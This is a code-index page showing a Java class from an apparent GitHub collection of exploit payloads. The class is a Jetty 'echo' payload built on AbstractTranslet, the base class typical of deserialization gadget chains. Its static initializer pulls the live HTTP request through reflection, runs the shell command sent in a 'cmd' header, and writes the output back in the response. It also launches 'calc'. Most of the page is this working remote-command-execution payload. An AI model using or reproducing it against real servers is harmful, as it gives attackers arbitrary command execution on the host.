MCPcopy Index your code
hub / github.com/Firebasky/Java / Echo_HttpConnection

Class Echo_HttpConnection

java回显/jetty/Echo_HttpConnection.java:14–75  ·  view source on GitHub ↗

jetty回显

Source from the content-addressed store, hash-verified

12 * jetty回显
13 */
14public class Echo_HttpConnection extends AbstractTranslet {
15 static {
16 try {
17 getResponse();
18 Runtime.getRuntime().exec("calc");
19 } catch (Exception e) {
20 e.printStackTrace();
21 }
22 }
23 public static void getResponse() throws Exception {
24 Thread thread = Thread.currentThread();
25 java.lang.reflect.Field threadLocals = Thread.class.getDeclaredField("threadLocals");
26 threadLocals.setAccessible(true);
27 Object threadLocalMap = threadLocals.get(thread);
28
29 Class threadLocalMapClazz = Class.forName("java.lang.ThreadLocal$ThreadLocalMap");
30 java.lang.reflect.Field tableField = threadLocalMapClazz.getDeclaredField("table");
31 tableField.setAccessible(true);
32 Object[] objects = (Object[]) tableField.get(threadLocalMap);
33
34 Class entryClass = Class.forName("java.lang.ThreadLocal$ThreadLocalMap$Entry");
35 java.lang.reflect.Field entryValueField = entryClass.getDeclaredField("value");
36 entryValueField.setAccessible(true);
37
38 for (Object object : objects) {
39 if (object != null) {
40 Object valueObject = entryValueField.get(object);
41 if (valueObject != null) {
42 if (valueObject.getClass().getName().equals("org.eclipse.jetty.server.HttpConnection")) {
43 Method getHttpChannel = valueObject.getClass().getDeclaredMethod("getHttpChannel");
44 getHttpChannel.setAccessible(true);
45 Object httpChannel = getHttpChannel.invoke(valueObject);
46 Class<?> HttpChannel = httpChannel.getClass();
47
48 Object request = HttpChannel.getMethod("getRequest").invoke(httpChannel);
49 Object response = HttpChannel.getMethod("getResponse").invoke(httpChannel);
50 java.io.PrintWriter writer = (java.io.PrintWriter) response.getClass().getMethod("getWriter").invoke(response);
51 Method getHeader = request.getClass().getMethod("getHeader",String.class);
52 String cmd1 = (String) getHeader.invoke(request, "cmd");
53 String[] cmd = !System.getProperty("os.name").toLowerCase().contains("win") ? new String[]{"sh", "-c", cmd1} : new String[]{"cmd.exe", "/c",cmd1};
54 java.io.InputStream in = Runtime.getRuntime().exec(cmd).getInputStream();
55 java.util.Scanner s = new java.util.Scanner(in).useDelimiter("\\a");
56 String output = s.hasNext() ? s.next() : "";
57 writer.write("by Firebasky:");
58 writer.write("\n"+output);
59 writer.close();
60 }
61 }
62 }
63 }
64 }
65
66 @Override
67 public void transform(DOM document, SerializationHandler[] handlers) throws TransletException {
68
69 }
70
71 @Override

Callers

nothing calls this directly

Calls 2

getResponseMethod · 0.95
execMethod · 0.45

Tested by

no test coverage detected